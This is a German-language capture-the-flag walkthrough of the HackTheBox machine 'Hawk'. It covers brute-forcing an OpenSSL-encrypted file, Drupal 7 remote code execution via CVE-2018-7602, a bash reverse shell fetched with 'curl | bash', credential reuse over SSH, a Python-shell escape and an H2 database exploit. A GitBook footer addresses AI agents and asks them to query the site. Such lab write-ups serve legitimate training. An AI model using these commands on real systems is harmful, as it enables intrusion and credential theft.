> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md). # Hawk HackTheBox Writeup Hawk HackTheBox Medium Linux-Maschine Writeup zu OpenSSL Cipher Brute Force und Entschlüsselung, Drupal-Enumeration/Exploitation, H2-Datenbank-Exploitation, mit praktischer Enumeration, Exploitation, Fuß in der Tür und Privilegieneskal {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * OpenSSL-Chiffre Bruteforce und Entschlüsselung * Drupal-Enumeration/Ausnutzung * Ausnutzung der H2-Datenbank {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfung der VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen

**Offene Ports mit Nmap erkennen:** Erkundung offener Ports und Export in die Datei "allPorts" im Nmap-Verzeichnis. ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwendung der extractPorts-Funktion, um offene Ports in kompakter Form anzuzeigen und sie in die Zwischenablage zu kopieren (21,22,80,5435,9092)

#### Port- und Versionsscan mit Nmap: Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted ```

### Port 21 - FTP Wir verbinden uns als ein **anonymous** Benutzer und entdecken eine versteckte Datei namens `.drupal.txt.enc`.

## Brute Force - OpenSSH (.enc) > Das **.enc** Die Dateiendung weist normalerweise auf eine **kodierte** Datei (verschlüsselt) hin. Sie wird verwendet, um anzuzeigen, dass der Inhalt der Datei durch einen Verschlüsselungsalgorithmus geschützt wurde, wodurch die Daten ohne den entsprechenden Schlüssel oder das Passwort unlesbar sind. Diese Dateien können jede Art von Daten enthalten (Text, Bilder, Videos usw.) und werden häufig verwendet, um sensible Informationen zu schützen. Das `.enc` Die Datei ist mit einem Algorithmus verschlüsselt **AES-256-CBC** und kodiert in **Base64 kodieren**.

**Schritt 1: Base64 dekodieren** ```bash cat .drupal.txt.enc | base64 -d > file_decoded.enc ```

**Schritt 2: Entschlüsselung mit OpenSSL** Um die Datei zu entschlüsseln, benötigen wir ein Passwort. Hier ist der Befehl, um eine manuelle Entschlüsselung zu versuchen: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 ```

**Schritt 3: Automatisierungsskript für Brute-Force** Wir verwenden ein Bash-Skript, um eine Passwortliste zu testen (z. B. `rockyou.txt`). ```bash #!/bin/bash function ctrl_c(){ echo -e "/n/n[!] Exiting.../n" tput cnorm; exit 1 } # Ctrl+C trap ctrl_c INT tput civis for password in $(cat /usr/share/wordlists/rockyou.txt); do openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null if [ "$(echo $?)" == "0" ]; then echo -e "/n[+] Das Passwort ist : $password/n" exit 0 fi done; tput cnorm ``` **Ergebnis:** Das gefundene Passwort ist: **Freunde**

#### **Entschlüsselte Nachricht** Die entschlüsselte Datei enthält ein neues Passwort: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 Freunde ``` * **PencilKeyboardScanner123**

## Port 80 - HTTP Auf Port 80 läuft ein Drupal-7-CMS. ```bash whatweb 10.10.10.102 ```

**Authentifizierung - Zugriff mit Passwort** Versuche dich mit dem `PencilKeyboardScanner123` Passwort für den Benutzer `admin` zu verbinden, und die Authentifizierung gelingt.

### Reverse Shell - Drupal 7 Wir werden das folgende Skript verwenden, um Befehle auf einem Drupal-Server unter Version 7 auszuführen (CVE-2018-7602): {% embed url="" %} ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru" ``` Dieser Befehl ermöglicht es dir, den `ID` Befehl auf dem Server auszuführen.

**Zugriff auf den Server**/ Um Zugriff auf den Server herzustellen, müssen wir Port 443 mit `nc` ```bash nc -nvlp 443 ``` Dann erstellst du eine `index.html` Datei mit folgendem Inhalt, um eine Reverse-Shell herzustellen: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.30/443 0>&1 ``` **Webserver und Befehlsausführung**/ Startet einen HTTP-Server mit Python: ```bash python3 -m http.server 80 ``` Sende dann den folgenden Befehl, um das Skript herunterzuladen und auszuführen: ```bash curl http://10.10.14.3 | bash ``` ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru" ```

**Terminal-Stabilisierung** Zur Verwaltung des Terminals werden die folgenden Befehle verwendet: ```bash script /dev/null -c bash # Strg+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flagge user.txt :)

## **Privilegieneskalation** Beim Durchsuchen des Webverzeichnisses unter `/var/www/html`sind mehrere Konfigurationsdateien sichtbar. Darunter wird eine interessante Datei identifiziert:

**Pfad :** `sites/default/settings.php` Beim Durchsehen dieser Datei finden wir sensible Informationen: * Benutzername: drupal * Passwort: drupal4hawk

Mit diesen Zugangsdaten verbinden wir uns mit der MySQL-Datenbank. Dazu werden folgende Befehle verwendet: ```bash mysql -u drupal -p ```

Nach Eingabe des Passworts werden alle verfügbaren Datenbanken aufgelistet und anschließend die mit Drupal verknüpfte Datenbank ausgewählt: ```sql show databases; use drupal; ``` Sobald wir in der Datenbank sind, durchsuchen wir den Inhalt der `users` Tabelle, um interessante Informationen zu finden: ``` SELECT * FROM users; ``` In dieser Tabelle finden wir ein gehashtes Passwort, das mit einem Benutzer verknüpft ist:

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08` ### Bruteforce mit John - Passwort-Hash Verwende John, um den Passwort-Hash zu knacken ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` Allerdings wurde in diesem speziellen Fall in der `rockyou.txt` Passwortliste keine Übereinstimmung gefunden. ### Python zu normalem Bash umgehen Wir haben als ein `daniel` Benutzer mit einem Passwort auf den Server zugegriffen, das der Datenbank zugeordnet ist (in diesem Beispiel, **drupal4hawk**). Hier ist der Befehl zum Verbinden: ```bash ssh daniel@10.10.10.182 ``` Passwort: **drupal4hawk** Nach der Verbindung befinden wir uns direkt in einem Python-Interpreter.

Um zu einer normalen Bash-Shell zurückzukehren, können wir Pythons `os` Modul, um einen Bash-Befehl auszuführen. Hier sind die Schritte: 1. Modul importieren `os` : ```python import os ``` 2. Eine Bash-Shell starten: ```python os.system('/bin/bash') ``` Dies ermöglicht Ihnen den Zugriff auf eine normale Bash-Shell aus dem Python-Interpreter heraus.

## Ausnutzung der H2-Datenbank /*/* Analyse offener Ports/*/* Zunächst listen wir intern offene Ports mit dem folgenden Befehl auf: ```bash netstat -tuln ``` Wir stellen fest, dass Port **8082** offen ist und einen Dienst hostet. Durch die Analyse stellen wir fest, dass es sich um ein Datenbank-CMS handelt: **H2 Database**.

Um von unserem Rechner aus auf diesen Dienst zuzugreifen, richten wir mit **SSH**eine Weiterleitung des internen Ports 8082 auf Port 8082 unseres lokalen Rechners ein:

### Portweiterleitung Um von unserem Rechner aus auf diesen Dienst zuzugreifen, richten wir mit **SSH**eine Weiterleitung des internen Ports 8082 auf Port 8082 unseres lokalen Rechners ein: ```bash ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102 ``` ### H2 Database:

Wir verwenden **searchsploit** um nach bekannten Schwachstellen im Zusammenhang mit der H2-Datenbank zu suchen:

``` searchsploit -m java/webapps/45506.py ``` Wir finden ein interessantes Feature, das Remote-Befehlsausführung ermöglicht: ```bash python3 45506.py -H 127.0.0.1:8082 ```

### root.txt-Flagge :) Das Skript ermöglicht es uns, Befehle auf dem Zielrechner auszuführen. Beim Durchsuchen des Systems erhalten wir die **root.txt-Flag**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.